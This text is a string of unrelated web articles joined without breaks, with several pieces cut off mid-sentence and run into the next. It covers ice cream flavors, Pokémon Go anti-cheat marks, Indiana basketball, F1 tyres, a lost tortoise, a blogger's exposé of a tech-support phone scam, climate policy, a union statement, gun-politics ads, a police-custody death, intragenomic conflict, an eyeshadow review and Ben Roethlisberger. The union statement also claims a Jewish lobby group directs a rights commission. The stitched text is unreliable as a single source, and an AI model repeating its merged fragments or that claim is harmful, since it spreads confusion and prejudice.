The ice cream brand, which offers what it calls a healthy alternative to full-calorie ice cream, introduced seven new flavors Thursday that will be available in grocery stores later this month.
Consumers will soon be able to eat ice cream for breakfast with Halo Top’s Pancakes & Waffles flavor, which actually includes pieces of pancakes and waffles in each bite, according to a press release. The other new flavors include Cinnamon Roll, Mochi Green Tea, Rainbow Swirl, Candy Bar, Chocolate Covered Banana and Caramel Macchiato.
“Making new flavors is always fun and we absolutely can’t wait for these to hit shelves,” Halo Top CEO Justin Woolverton said in a statement.
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Each pint of Halo Top has between 240 to 360 calories and 20 to 24 grams of protein. There are already 17 flavors in Halo Top’s lineup, including fan favorites like peanut butter cup and chocolate chip cookie dough.
Earlier this week, Halo Top became the best-selling ice cream pint in the U.S., surpassing longtime popular brands like Ben & Jerry’s and Haagen Dazs.
Write to Mahita Gajanan at [email protected]émon Go’s war against cheaters continues to intensify, with Niantic now giving out digital scarlet letters of sorts.
On Reddit, a verified Niantic support account alerted players to a new feature coming to Pokémon Go:
With the announcement of Raid Battles and the new battle features, we are staying true on our commitment to ensuring that Pokémon GO continues to be a fun and fair experience for all Trainers. Starting today, Pokémon caught using third-party services that circumvent normal gameplay will appear marked with a slash in the inventory and may not behave as expected. We are humbled by the excitement for all the new features we announced yesterday. This is one small part of our continued commitment to maintaining the integrity of our community and delivering an amazing Pokémon GO experience.
We reached out to Niantic to ask further details, but did not hear back in time for publication. Update 12: 26 PM: While Niantic confirmed to Kotaku that the Reddit post is official, they don’t have more details to share about how it works yet.
UPDATE 4:20 PM: Here are the first known images of what this looks like in action, courtesy of KERL0N. KERLoN notes that some of these monsters were caught months ago:
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And in case there’s any doubt, here it is in motion:
Players have discovered that any slashed monster will lose the mark if it is evolved, which seems like an oversight. Players are also reporting that any slashed monsters will not give trainers candy if they are transferred to the Professor, which makes sense.
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ORIGINAL STORY FOLLOWS:
Right now, players are unsure which specific “third-party services” will trigger the cheater’s mark, though in the past folks have been known to use “mappers” that tell them where rare monsters will spawn, spoofing (using fake GPS locations so you can spawn anywhere), or bots (programs that find monsters for you). We also don’t yet know what the slash looks like, or how, exactly, monsters may misbehave. That said, some players swear that using cheating services make the game viable if, say, the trainer happens to live in a rural area where monster spawns are sparse.
While public shaming may prove controversial, having Pokémon act out in some ways feels perfect. In the main games, creatures will not listen to you if you’re not a high enough level, and in the anime, some monsters defy their owners if the trainer has not proven themselves yet. Other companies have been known to use methods like this, too: infamously, Valve brands cheaters’ profiles on Steam for years.
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Previously, Niantic fought against cheaters by “shadowbanning” them such that only common monster spawns appear for them in-game. It is entirely possible that some poor schmuck out there will be stuck mostly catching Pidgeys with marks of shame on them.Justin Albers 08/16/2013 8:06 am in Commentary
Welcome to offseason storylines, a look into some of the biggest storylines surrounding the 2013-2014 Indiana Hoosiers. Next up, we tackle this question: What will expectations for next season’s team look like?
When Tom Crean took the Indiana job in April of 2008, there was an understanding from the school’s administration and from the fan base that he would need time to build the program back where it previously been.
In the last two seasons, those that patiently waited with Crean and his team through the dark days were rewarded with back-to-back trips to the Sweet Sixteen, a Big Ten title, and more than a few big wins.
The expectations grew to such an extreme level last year, however, that any time Indiana lost a single game, it was viewed as a letdown and a disappointment by some. Beat Michigan at home, and well, that’s what you were expected to do. But lose to Wisconsin and Ohio State, and suddenly, the sky was falling.
Now, with a roster full of freshmen and lacking most of the guys responsible for bringing the program back, where will those expectations go? Will they remain high because the program has been restored and the standards have been reestablished? Or will they lower a bit to match the team’s relative inexperience?
I asked Indiana Athletics Director Fred Glass that exact question a few weeks ago.
“Regardless of the program, you gotta take it year by year and calibrate your expectations,” Glass told Inside the Hall. “I tried real hard not to set any arbitrary expectations that ‘this season is gonna be a bust if we don’t win X number of games, don’t qualify for postseason play.’
“I’m looking for improvement with what we’ve got, not necessarily improvement from year to year but improvement from the team that comes in throughout the season.”
My guess is the expectation level will be more in line with the 2011-2012 rather than last season. Few people expected much from that team before it beat No. 1 Kentucky in December, and that could again be the case this season.
Truth be told, that’s probably the best thing for Indiana. Last year’s team didn’t always handle the pressure of the giant expectations all that well. If they fall back a bit in the rankings this season and play the role of an underdog, maybe they’ll just surprise some people again.
Previously:
· The evolution of Yogi Ferrell
· What kind of season will Sheehey have?
· Will Indiana have a stronger bench?
Filed to: Fred Glass, Tom CreanHaving been asked to deliver a high level of tyre wear over the past few F1 campaigns, Pirelli for 2017 is tasked with producing compounds with low degradation and a bigger operating window, so as to move the balance towards out-and-out speed and away from management.
Hulkenberg, who moves from Force India to Renault for what will be his seventh season in the championship, is among those backing this change in philosophy - although he is unsure whether the tweaks will come to fruition for 2017.
Asked whether he was optimistic of the direction taken by F1's new-for-2017 ruleset as a whole, Hulkenberg said: "I am not sure. I don’t know at the moment how those cars and tyres will behave. It is a bit early for that, as I haven’t felt and run those tyres. We will only know better once we start testing and have done a few races.
"I hope that they allow a bit more free pushing and not as much management. But I am not sure that will be the case.
Asked whether he found modern F1's tyre management focus frustrating, Hulkenberg said: "Certain moments, yes. On the other hand, it is a different challenge to do a good job there and to overcome that.
"Sometimes you feel like you are limited, as naturally your mindset is you want to push all the time. It is not always possible and you need to decide when you pick your battles and decide, okay, now I push, and now I save."
Wet tyre issue known "for some time"
The other major talking point regarding Formula 1's tyres is the performance of the full wet compound, after several drivers complained following the stop-start Brazil race that the rubber couldn't deal with aquaplaning.
"I think obviously we knew it, but we have seen it quite drastically in Brazil now that we need to improve the ability of the tyre to cope with standing water and to drain more water," Hulkenberg said.
"I think we knew that for some time but, because we had so few wet races, the subject was not picked up.
"But now obviously it is picked up because of us not being able to race. It was not really heavy rain [in Brazil], it was only drizzle but that was enough to get aquaplaning and to stop us racing."
Additional reporting by Jonathan NobleA family with a lost tortoise has discovered an unusual way to persuade their pet to come home.
The Horner family spent hours looking for Boris and Lily in their garden after the pair broke down their enclosure and made a run for it.
"They rammed it then went hell for leather," Mrs Horner told The Times. "Many people think they are slow, but these guys just went for it."
Lily was eventually found in the geraniums, but Boris remained missing and the family grew worried. "Anyone who has lost a turtle or tortoise, even momentarily, knows the feeling of near heart-stopping panic," says the Tortoise Trust.
Increasingly desperate, the Horner family turned to the unusually abundant supply of tortoise pornography on YouTube.
"We went back outside, played that, and lo and behold Boris appeared," they said.
Dr James Gibbs, an expert in Galapagos tortoises, told The Times that few tortoises would be able to resist the sound of a reptilian orgy.
"Males do troll around for the sounds of mating," he said. "They make quite a lot of noise – we can hear them groaning for miles."
Dominant males then fight over a single female, pushing each other off as they attempt to balance on her shell, often damaging it.
The noise the animals make while mating is often extremely startling – in fact, the sound of lovemaking tortoises was used to voice the Velociraptors in Jurassic Park.
Warning: the following video may be unsuitable for young tortoisesA few months back I got a call one evening which was clearly a virus call centre scam; you know, the ones that call you out of the blue, tell you your PC is infected with all sorts of nasties and offer to fix it for you? Or maybe you don’t know, which of course is why these scams have been going on for quite some time and are still very active today.
Fortunately I did know about such things so rather than summarily dismissing them with a level of disdain I normally reserve only for telemarketers, I recorded the audio of the call right up until the point where they were ready to take control of my PC. I published the whole episode in my post titled Anatomy of a virus call centre scam.
But I was left wondering; what exactly were they going to do to my PC once they got remote control? Try and squeeze some cash out of me for “fixing” things? Install their own variant of “antivirus”? Or just plain old enslave my PC into being part of a botnet? So I decided to find out by letting them do whatever they wanted whilst recording the audio and the screen so the entire experience could be shared.
The setup
For this exercise I created a brand spanking new Windows 7 trial install on a spare hard disk and physically disconnected every other disk from the machine. I then unplugged every other device from the router and disabled wifi. I now had a totally isolated, disposable machine with nothing more than an internet connection.
I installed enough of the basics on the machine to make it look legitimate (Office, Acrobat Reader, Skype, etc.) and also installed Microsoft Security Essentials. I then ran Windows Update repeatedly until every single service pack, patch and even language pack was installed. The machine was as up to date and as secure as it could be without going to third party products.
I then added various items to the desktop which might appear a bit tempting such as “Passwords.txt” and “2011 Finances.xls”. I wasn’t expecting them to be accessed, but it helped the machine appear more legitimate.
The call
I’d asked around about other people having received scam calls and was given a phone number in the UK (01916451644) and one in Australia (0872001644), both having previously been left by the scammers. A quick Google on either of these numbers will give you numerous results with people complaining about being cold-called by scammers. Both of these numbers also appear on Comantra’s website.
So who is Comantra? They’re an Indian firm specialising in remote computer support which, on the surface of it, is a perfectly legitimate business. Problem is, they’ve got a long history of scamming people and had their Gold partner status revoked by Microsoft back in September last year as a result.
I started Camtasia running on the machine capturing both screen and microphone then gave them a call. After a couple of false starts, I ended up acquiring a pre-paid SIM card for my phone as each time I called they absolutely insisted on calling me back before doing anything nasty and I wasn’t about to hand out my personal details. Finally, on Saturday a few days ago, I got through to them.
Here’s what happened next:
Debrief
Let give you the abridged version here in case you (quite rightly) didn’t feel like sitting through the entire thing:
The operator explains that the PC is infected with malicious files. He directed me to Ammyy which he then used to gain remote control of my PC. He started the Event Viewer then explained that errors and warnings are signs of serious problems with the PC. He then had me go the LogMeIn website and attempted to start a remote support connection without entering a PIN code. Naturally this failed after which he explained it’s the “software loyalty key” for the computer and its expiration is the cause of all the “problems”. Next, I was assured numerous times that there is absolutely no cost involved for him to “fix” the warranty. I was then told the free warranty would cost a one-time payment of $160. Annually. After explicitly prompting him, he confirmed this payment is for the software key for my Windows. A PIN was given to me which I then entered into the LogMeIn website and granted them remote control to my machine. Again (on top of the Ammyy session). The operator then controlled my PC and downloaded Advanced SystemCare 3, a legitimate (albeit twice superseded) product. He explicitly told it not to create a restore point when prompted. SystemCare made numerous findings which the operator leveraged to explain the poor health of my PC, including an explanation that fragmented files indicated “These are all of the hardware problems”. I was directed to a registration form where I registered with false information. I was then forwarded to a payment gateway where credit card information was requested using a service provided by India’s Bank of Baroda. At this stage I came clean and confronted the operator. Numerous excuses were made with the general gist of it being that they are honest, have not misled me and are providing a legitimate service. When reviewing the system the next day whilst disconnected from the internet, the LogMeIn software loads automatically and attempts to re-establish a connection. It appears that there is now a persistent ability for Comantra to take remote control of the machine.
The whole process was a completely disjointed, muddled experience involving jumping around between a number of legitimate services which were used to create fear, uncertainty and doubt. Even the Comantra processes of registration then payment don’t actually appear to be related which makes you wonder if there’s any service provided at all after handing over cash.
One thing that was a little interesting was the use of two different remote control products; Ammyy then LogMeIn. My best guess at the rationale behind this is that Ammyy is used first because it’s an entirely free service which doesn’t require them to divulge any sort of subscription key. However it also doesn’t give them persistent remote control beyond that initial session so I suspect it’s used to validate that the “mark” is willing to go along with the scam before divulging something of value to them – the LogMeIn PIN.
Now, I want to be absolutely crystal clear that this is a scam from the outset. The end of the call descends into the operator vehemently defending the legitimacy of the Comantra service so I’m going to specifically quote a number of the things he said during the call. Also keep in mind the pretence with which these calls are initiated; this is a “cold-call” – one made without opting-in on the premise that they have been alerted to malicious activity on your PC. This is clearly a lie.
Here are some of the more significant quotes from throughout the encounter:
“Your computer has accidentally uploaded some unwanted malicious files”. “The Windows operating system and the software part of your computer is getting infected”. “Whenever you go online or browse internet, unwanted junk files are downloaded to your computer” and then “The application views the entire part of the software part of the computer”. When viewing the Event Log: “This is the errors and the warnings that are in the computer, these are the very harmful files in the computer” followed by “That is the reason your computer is having a lot of problems”. When asked about the errors and warnings in the Event Log: “These are the corrupted files” then “This are not functioning properly in the computer” and “The software part of your computer is getting corrupted day by day”. When asked if Microsoft Security Essentials protects the computer: “No, no, no, it’s a security warning that comes up”. When I suggested I might just buy a new computer: “If you buy a new computer, you will face all the problems in the new computer as well”. When trying to connect to the LogMeIn service without a PIN: “This six digit code is the software loyalty key for your computer” then “This six digit code is expired from the computer, that's why your computer is having a lot of problems” followed by “All the folders has been corrupted as there is no software key yet within the computer, your software part is not functioning properly”. After I said the PC was 5 years old: “You've got two types of warranty on the computer, one is the software and another is the hardware” then “The software one is for 4 years and the hardware one is for 5 years” and “As the software warranty expired from the computer that's why your computer is experiencing problems”. When explaining the costs: “From now on you don't have to pay a single penny for the services” then “They will provide you the services and the software absolutely free of cost” and “You have nothing to pay a single penny neither for the services and neither for the software” followed by “You will get each and everything absolutely free of cost”. Shortly after the previous point: "You just have to pay $160 annually". When asked if I can pay the warranty directly to Microsoft: “No, as we are the service providers of Windows operating system”. In justifying their service: “We take care all the users of Windows operating system all over the world”. When asked about what a defragmented files was: “These are all of the hardware problems”. When asked why Microsoft dropped Comantra as a partner: “People like you who are always behind who full of themselves they blame the person who fix up the problem” and “Microsoft dropped us because of you kind people”.
Summary
Despite the operator protesting to the contrary, this is an outright scam in every sense of the word. The Australian government has this on their Scam Watch website, it’s widely reported in the UK press and it’s rampant in the US as well. I very much doubt these three countries are the only targets too; they’re simply the ones I’ve had reports from when I asked about other people experiencing the same thing.
The modus operandi is a familiar one; load the Event Viewer to demonstrate all the “problems”, get remote control and install third party software then charge the customer for the service. I knew better than to get caught the first time, as would most of you reading this on a technology blog.
But it’s not always that way; innocent people who are not tech-savvy enough to recognise the scam are frequently being caught and it’s often the people who can least afford to part with the cash. The scam centres around finding victims who are vulnerable and easily exploited for the benefit or crooks on the other side of the world.
I was a little tongue-in-cheek in the video but this really is a serious matter. Now that this has been posted I’m contacting each and every innocent party involved in the scam (Ammyy, LogMeIn, iObit and obviously Microsoft) and submitting it to the Australian Scam Watch site and AusCERT. I’ll update this post with any responses of interest I can share.
So what can you do? Talk to those around you who may fall victim to this scam, share this post, make them aware of the risks and above all, hang up on crooks who call out of the blue in the hope of parting you from your hard-earned cash.
Update 1 (09:30): Within hours of publishing this post, I have contacted each of the following and provided details of their role in the scam. I’ve also asked each if they’re willing to provide any feedback that I can share here:
IOBit (their Advanced SystemCare software was used to show “malicious files”) Ammyy (the first remote control software used) LogMeIn (the second remote control software used) Bank of Baroda (used to process the payment) Microsoft (legal department though an Microsoft contact of mine)
I’ve also submitted it to:
Scam Watch (Australian government site tracking scams running down here – also submits to the ACCC) AusCERT (Australian Computer Emergency Response Team)
Update 2 (21:00): AusCERT responded within hours of my contacting them and issued an alert on their website. They also put out an advisory on the Australian Government’s Stay Smart Online website. Big kudos to them for acting so promptly.
Ammyy has also responded with the following:
Thank you for contacting us. You are right, all we can do is to post warning on our main page.
Somebody also pointed out to me that during the video, you can actually see text on the Ammyy website which says “Got phone call and asked to launch Ammyy Admin? Important info on malicious use.” and links to a warning page. Is this enough? I certainly didn’t see it during the call and you could argue that Ammyy could do more to verify legitimate use (email verification, for example), but of course this also increases the barrier to use. Of course you could also argue that there is no incentive for Ammyy to prevent these sort of scams so I’m not expecting anything to change on that front any time soon.
Update 3 (Feb 22): I’ve had a response from LogMeIn with the important bit relating to this video being as follows:
Use |
Change Conference COP20 in Lima Peru, Friday, Dec. 12, 2014. The boat's sign reads in Spanish "Leave behind emissions. Climatic agreement." Delegates from more than 190 countries are meeting in Lima to work on drafts for a global climate deal that is supposed to be adopted next year in Paris. (AP Photo/Martin Mejia) The Associated Press
President Barack Obama has made addressing climate change a central part of his second term, using his executive authority through the Environmental Protection Agency, Energy Department and other cabinet agencies to support clean-energy technologies and reduce carbon emissions. Most notably, the EPA’s proposed Clean Power Plan, unveiled June 2, would be the first federal law to regulate carbon dioxide emissions from existing power plants.
Last month, Obama and Chinese President Xi Jinping reached what they called a “historic” climate agreement, with each agreeing to halt the growth of greenhouse gas emissions in China’s first-ever commitment to do so.
“The U.S.-China announcement hinted at a fundamental shift putting developed and developing countries on a more equal footing,” Diringer said. “What’s most important now is for other countries to declare their contributions to the Paris agreement. As long as others follow the lead of the U.S., China and the European Union, we should have a decent shot at a meaningful global deal.”
Conservative lawmakers and trade groups representing the coal, oil, gas and manufacturing sectors have strongly opposed the Clean Power Plan and the Obama administration’s other climate measures, asserting they will hamper the economy. EPA Administrator Gina McCarthy and Energy Secretary Ernest Moniz, by contrast, argue that investment in clean technology will spur innovation, boost manufacturing and create jobs.COSATU to visit the workers and the community of Coligny in North West tomorrow
The Congress of South African Trade Unions will be visiting the workers and the community of Coligny in North West to offer solidarity and join in the mobilisation efforts against the racist farmers and white supremacists organisations that are running amok in the area. The federation's delegation will be led by COSATU Deputy General Secretary Cde Solly Phetoe and the provincial leadership of the federation and its affiliated unions.
We are deeply troubled by the slow reaction and failure of law enforcement agencies and state institutions to protect vulnerable black workers and communities from white supremacist organisations with Boeremag tendencies that are roaming the area.
The killing of innocent workers in Coligny points to the fact that the black communities in the area are under siege and that the racist farmers are not just emboldened but they have become law unto themselves.
Minister Fikile Mbalula and his Acting Police Commissioner should explain to the nation about allegations that white police officers are collaborating with these racists and offering them protection in the province of North West.
The ineffective and hopeless Human Rights Commission should be disbanded because it has spectacularly failed to protect the poor communities and vulnerable workers. They are only active when it comes to investigating some imagined Human Rights violations of rich white minority groups under the instructions of powerful lobby groups like The South African Board of Jewish Deputies.
The federation also rejects the call for reconciliation but demands justice for the families of murdered workers and those that have been abused. The concept of reconciliation will not work, when the white racists are running amok and slaughtering poor workers.
The North West Provincial administration has also failed the poor farm workers in the province; they have incubated these racists in rural North West and allowed them to feed and breed without lifting a finger to rein them in.
It is totally unacceptable that farm workers continue to be treated like glorified slaves under a democratic government and they are only offered platitudes and statements of condemnation by the captured political elite.
COSATU will continue with its back to basics campaign targeting farming areas and will also work closely with rural communities and other progressive formations to push back against white arrogance, and the slaughter of poor black workers.
Issued by COSATU
Sizwe Pamla (National Spokesperson)
Tel: +27 11 339-4911 Direct 010 219-1339
Mobile: 060 975 6794
E-Mail: [email protected]
backIt looks like former New York City Mayor Michael Bloomberg is going after any pro-gun politician he possibly can. Bloomberg’s anti-gun political action committee just bought $150,000 in ads to target outspoken gun rights activist Milwaukee County Sheriff David A. Clarke Jr.
According to JSOnline,
Former New York Mayor Michael Bloomberg’s political action committee, Independence USA, has purchased $150,833 in television ads in an effort to defeat Milwaukee County Sheriff David A. Clarke Jr. and support his opponent, Milwaukee police Lt. Chris Moews. In response to the news of Bloomberg’s ads, Clarke said in a statement: “I trust the voters. The voters can’t be bought.” The ad buys by Bloomberg’s PAC come on top of $400,000 in media ads purchased by the Greater Wisconsin Committee to try to beat Clarke, who is seeking his fourth term in Tuesday’s Democratic primary election.
Bloomberg’s previous attempts to get make guns an issue at the local level have failed miserably. Many credit Bloomberg’s involvement in the recall elections of two anti-gun Colorado state lawmakers as one of the main reasons the pair lost.
Even anti-gun Colorado Governor John Hickenlooper has asked Bloomberg to stay out of Colorado politics for fear that he will do more harm than good.
Clarke is an outspoken supporter of the Second Amendment and gun rights for citizens. He was one of the first sheriffs in the nation to speak out publicly for gun rights, encouraging his constituents to arm themselves instead of waiting for police.
Clarke was a headline speaker at the NRA Convention this. Here is a video of his speech.Phillip White died last week during a showdown with police, and new video of the disturbing incident shows what appears to be officers allowing a K-9 to maul the unconscious man to death.
White died on Tuesday while in police custody. Officers in Vineland, New Jersey, had restrained him not long after responding to a call about a disorderly person.
It’s not entirely clear yet how the incident transpired, but cell phone video shows two officers standing over Phillip White as he laid on the ground, apparently unconscious. One of the officers held the leash of a police dog, allowing it to bite White around the head and neck several times before pulling the dog away.
NBC Philadelphia spoke to a law enforcement expert who said that the Phillip White death video showed that police made grievous errors in how they handled the situation.
“The expert — a top ranking law enforcement official and former use of force instructor — spoke anonymously about what transpired on the tape,” the report noted.
“The official, who is not connected to the investigation, said officers should have called off the dog immediately after bringing White under control. He also said the officer who demanded the person recording the video turn over his cell phone had no right to do so.”
The Phillip White death video is also drawing outrage online, with many calling on police to investigate and bring charges against the officers that appeared to allow the dog to maul the unconscious man.
The White family is also calling on police to answer questions about the death.
“There are great concerns about the circumstances that surround this death,” said Conrad Benedetto, an attorney retained by the family. “Mr. White’s demise is the second police-involved force incident in Cumberland County within 91 days. The public and Mr. White’s family deserve answers as to how Phillip was killed and why there is a lack of oversight of local police.”
This is the second video to emerge showing the death of Phillip White. Last week a grainy video was uploaded to the internet showing the interaction between the 32-year-old and police, spreading quickly on social media. The Cumberland County Prosecutor Office said it was investigating that video, but the police department has not commented on it.
There are other issues being raised by the Phillip White death video. In the footage, an officer is seen confronting the person taking the video, demanding they turn over identification and trying to confiscate the footage. It is not illegal for citizens to record video of police.
[Image via Facebook]Intragenomic conflict refers to the evolutionary phenomenon where genes have phenotypic effects that promote their own transmission in detriment of the transmission of other genes that reside in the same genome.[1][2][3][4] The selfish gene theory postulates that natural selection will increase the frequency of those genes whose phenotypic effects cause their transmission to new organisms, and most genes achieve this by cooperating with other genes in the same genome to build an organism capable of reproducing and/or helping kin to reproduce.[5] The assumption of the prevalence of intragenomic cooperation underlies the organism-centered concept of inclusive fitness. However, conflict among genes in the same genome may arise both in events related to reproduction (a selfish gene may "cheat" and increase its own presence in gametes or offspring above the expected according to fair Mendelian segregation and fair gametogenesis) and altruism (genes in the same genome may disagree on how to value other organisms in the context of helping kin because coefficients of relatedness diverge between genes in the same genome).[6][7][8]
Nuclear genes [ edit ]
Autosomic genes usually have the same mode of transmission in sexually reproducing species due to the fairness of Mendelian segregation, but conflicts among alleles of autosomic genes may arise when an allele cheats during gametogenesis (segregation distortion) or eliminates embryos that don't contain it (lethal maternal effects). An allele may also directly convert its rival allele into a copy of itself (homing endonucleases). Finally, mobile genetic elements completely bypass Mendelian segregation, being able to insert new copies of themselves into new positions in the genome (transposons).
Segregation distortion [ edit ]
In principle, the two parental alleles have equal probabilities of being present in the mature gamete. However, there are several mechanisms that lead to an unequal transmission of parental alleles from parents to offspring. One example is a gene, called a segregation distorter, that "cheats" during meiosis or gametogenesis and thus is present in more than half of the functional gametes. The most studied examples are sd in Drosophila melanogaster (fruit fly),[9] t haplotype in Mus musculus (mouse) and sk in Neurospora spp. (fungus). Possible examples have also been reported in humans.[10] Segregation distorters that are present in sexual chromosomes (as is the case with the X chromosome in several Drosophila species[11][12]) are denominated sex-ratio distorters, as they induce a sex-ratio bias in the offspring of the carrier individual.
Killer and target [ edit ]
The most simple model of meiotic drive involves two tightly linked loci: a Killer locus and a Target locus. The segregation distorter set is composed by the allele Killer (in the Killer locus) and the allele Resistant (in the Target locus), while its rival set is composed by the alleles Non-killer and Non-resistant. So, the segregation distorter set produces a toxin to which it is itself resistant, while its rival is not. Thus, it kills those gametes containing the rival set and increases in frequency. The tight linkage between these loci is crucial, so these genes usually lie on low-recombination regions of the genome.
True meiotic drive [ edit ]
Other systems do not involve gamete destruction, but rather use the asymmetry of meiosis in females: the driving allele ends up in the oocyte instead of in the polar bodies with a probability greater than one half. This is termed true meiotic drive, as it does not rely on a post-meiotic mechanism. The best-studied examples include the neocentromeres (knobs) of maize, as well as several chromosomal rearrangements in mammals. The general molecular evolution of centromeres is likely to involve such mechanisms.
Lethal maternal effects [ edit ]
The Medea gene causes the death of progeny from a heterozygous mother that do not inherit it. It occurs in the flour beetle (Tribolium castaneum).[13] Maternal-effect selfish genes have been successfully synthesized in the lab.[14]
Transposons [ edit ]
Transposons are autonomous replicating genes that encode the ability to move to new positions in the genome and therefore accumulate in the genomes. They replicate themselves in spite of being detrimental to the rest of the genome. They are often called 'jumping genes' or parasitic DNA and were discovered by Barbara McClintock in 1944.
Homing endonuclease genes [ edit ]
Homing endonuclease genes (HEG) convert their rival allele into a copy of themselves, and are thus inherited by nearly all meiotic daughter cells of a heterozygote cell. They achieve this by encoding an endonuclease which breaks the rival allele. This break is repaired by using the sequence of the HEG as template.[15]
HEGs encode sequence-specific endonucleases. The recognition sequence (RS) is 15–30 bp long and usually occurs once in the genome. HEGs are located in the middle of their own recognition sequences. Most HEGs are encoded by self-splicing introns (group I & II) and inteins. Inteins are internal protein fragments produced from protein splicing and usually contain endonuclease and splicing activities. The allele without the HEGs are cleaved by the homing endonuclease and the double-strand break are repaired by homologous recombination (gene conversion) using the allele containing HEGs as template. Both chromosomes will contain the HEGs after repair.[16]
B-chromosomes are nonessential chromosomes; not homologous with any member of the normal (A) chromosome set; morphologically and structurally different from the A's; and they are transmitted at higher-than-expected frequencies, leading to their accumulation in progeny. In some cases, there is strong evidence to support the contention that they are simply selfish and that they exist as parasitic chromosomes.[17] They are found in all major taxonomic groupings of both plants and animals.
Cytoplasmic genes [ edit ]
Since nuclear and cytoplasmic genes usually have different modes of transmission, intragenomic conflicts between them may arise.[18] Mitochondria and chloroplasts are two examples of sets of cytoplasmic genes that commonly have exclusive maternal inheritance, similar to endosymbiont parasites in arthropods, like Wolbachia.[19]
Males as dead-ends to cytoplasmic genes [ edit ]
Anisogamy generally produces zygotes that inherit cytoplasmic elements exclusively from the female gamete. Thus, males represent dead-ends to these genes. Because of this fact, cytoplasmic genes have evolved a number of mechanisms to increase the production of female descendants and eliminate offspring not containing them.[20]
Feminization [ edit ]
Male organisms are converted into females by cytoplasmic inherited protists (Microsporidia) or bacteria (Wolbachia), regardless of nuclear sex-determining factors. This occurs in amphipod and isopod Crustacea and Lepidoptera.
Male embryos (in the case of cytoplasmic inherited bacteria) or male larvae (in the case of Microsporidia) are killed. In the case of embryo death, this diverts investment from males to females who can transmit these cytoplasmic elements (for instance, in ladybird beetles, infected female hosts eat their dead male brothers, which is positive from the viewpoint of the bacterium). In the case of microsporidia-induced larval death, the agent is transmitted out of the male lineage (through which it cannot be transmitted) into the environment, where it may be taken up again infectiously by other individuals. Male-killing occurs in many insects. In the case of male embryo death, a variety of bacteria have been implicated, including Wolbachia.
In some cases anther tissue (male gametophyte) is killed by mitochondria in monoecious angiosperms, increasing energy and material spent in developing female gametophytes. This leads to a shift from monoecy to gynodioecy, where part of the plants in the population are male-sterile.
Parthenogenesis induction [ edit ]
In certain haplodiploid Hymenoptera and mites, in which males are produced asexually, Wolbachia and Cardinium can induce duplication of the chromosomes and thus convert the organisms into females. The cytoplasmic bacterium forces haploid cells to go through incomplete mitosis to produce diploid cells which therefore will be female. This produces an entirely female population. If antibiotics are administered to populations which have become asexual in this way, they revert to sexuality instantly, as the cytoplasmic bacteria forcing this behaviour upon them are removed.
Cytoplasmic incompatibility [ edit ]
In many arthropods, zygotes produced by sperm of infected males and ova of non-infected females can be killed by Wolbachia or Cardinium.[19]
Evolution of sex [ edit ]
Conflict between chromosomes has been proposed as an element in the evolution of sex.[21]
See also [ edit ]
References [ edit ]Today I’m reviewing the WTF collection, a little trio of neutrals from My Pretty Zombie. The story behind the trio is really cute, so I’m going to quote it from her site:
So my dear sweet innocent mom thought WTF meant “Wednesday Thursday Friday.” In honor of how awesomely cute that is, I created this set of neutrals. Perfect for your mom (who probably thinks the same thing) or any other sweet non eff word dropping lady in your life!
I love this! She also gives her mom 10% of the proceeds from this color, as payment for “teasing” her. Which is exactly the type of thing my mom would do too. Plus, the colors are super easily wearable and work really well together. I’m really happy with this little set.
Swatches! Urban Decay Anti-Aging Primer Potion on the top/left and Pixie Epoxy on the bottom/right. The top pictures are in indirect natural light and the bottom ones are in direct sun for the sparkle.
W, T, F or Wednesday, Thursday, Friday.
W (Wednesday): “The lighter version [of Thursday].” This is a sparkly, creamy white shade. This is a slightly mettalic creamy white. Depending on the lighting the sheen shifts from silvery grey to white gold. It’s slightly sheer over primer, and on bare skin it’s a delicate wash of sparkle. It would make a great highlight and is very brightening when used over the whole lid.
T (Thursday): “A warm brown.” This is a coppery brown with a good sheen to it. It makes a great blending color. It didn’t show up much in my pictures, but in person there’s a slight greyish sparkle that makes it fit really well with the other two colors in the collection.
F (Friday): “The darkest shade.” While it’s true that it’s the darkest shade in the set, it’s not the most helpful description. It’s a taupey silver that’s not too dark. It makes a great liner and also works well as a smoky eye.
Overall Thoughts: My Pretty Zombie seems to be better known for bolder colors, but these neutrals are great! It’s an incredibly cohesive collection of basics that work together really well. The colors are slightly sheerer and less metallic over primer than over a sticky base, but I think that actually works in their favor for creating toned-down work appropriate looks. I’m actually considering picking these up in full sizes, which I almost never do, because they’re just such useful colors. (Also, while they’re only listed on her site as a set, if you only want one, you can buy them individually as well. Just use the I just want one listing.)
Tomorrow I’ll be posting the looks. Just three instead of my usual five, since it’s such a little collection, but each shadow gets to be the centerpiece of its own look. It was really cool trying out different ways of combining the three colors.THE PITTSBURGH STEELERS' PRACTICE
THERE ARE SURELY SOME,
WHEN THE SEXUAL-ASSAULT ACCUSATION
IT SEEMS REMARKABLE,
had just ended on a temperate August evening, and children were everywhere. It was Family Day for the team, when the wives and kids of players and coaches visit training camp, play a little catch on the expansive green grass and stay for a barbecue. As thousands of fans headed down the hills of the Saint Vincent College campus in Latrobe, Pennsylvania, to the parking lots, one of their heroes sat in a far end zone, his two toddlers bouncing around him.That bucolic scene didn't always have Ben Roethlisberger, his son and little girl at its center. And he wasn't always everyone's hero, either, even in Steelers-obsessed Pittsburgh. But five years after reaching a personal and professional nadir, when Big Ben -- the myth and the man -- was brought low by troubling sexual-assault allegations, Roethlisberger has crafted a successful and peaceful renaissance, formalized in a massive new contract agreed to this March. As he prepares this season to lead the best offense he's ever had, maybe the best offense in the NFL, Roethlisberger has also become something more: an unintended and reluctant example of a fruitful second chance, perhaps providing a roadmap even as the NFL and its fans grapple with how many more players deserve one."I feel like I let down my family, my teammates, my coaches, the Rooneys, the whole family," Roethlisberger said one day, a few hours before another training-camp practice. "You feel disappointed, almost ashamed at times. Now that they have rewarded me with the [new contract], I want to reward them by winning football games. I want them to say, 'There is our guy.' I want to make them proud."even among the Steelers' most faithful fans, who will forever view Roethlisberger through the prism of the behavior that led a district attorney to publicly tell Roethlisberger to grow up, even as the district attorney was explaining that he didn't have enough evidence to prosecute Roethlisberger for sexual assault. But Roethlisberger and his inner circle are not entirely comfortable with the narrative ofeither, despite the outcome. One of Roethlisberger's closest friends is his agent, Ryan Tollner, and Tollner bristles at the idea of Roethlisberger being lumped in with Ray Rice and Adrian Peterson and Greg Hardy, whose respective domestic violence incidents last year exposed an NFL that was ill-equipped to handle the issue. Roethlisberger was shrouded in suspicion about his behavior with women, but he was never charged with a crime, and Tollner calls the assault allegation investigated in a small town in Georgia "false." Tollner, in fact, compares Roethlisberger's situation more closely to Tom Brady's Deflategate saga, because Tollner believes Roethlisberger was suspended for four games at the start of the 2010 season (a reduction from the original six games) not because of evidence against him but because of the negative publicity the 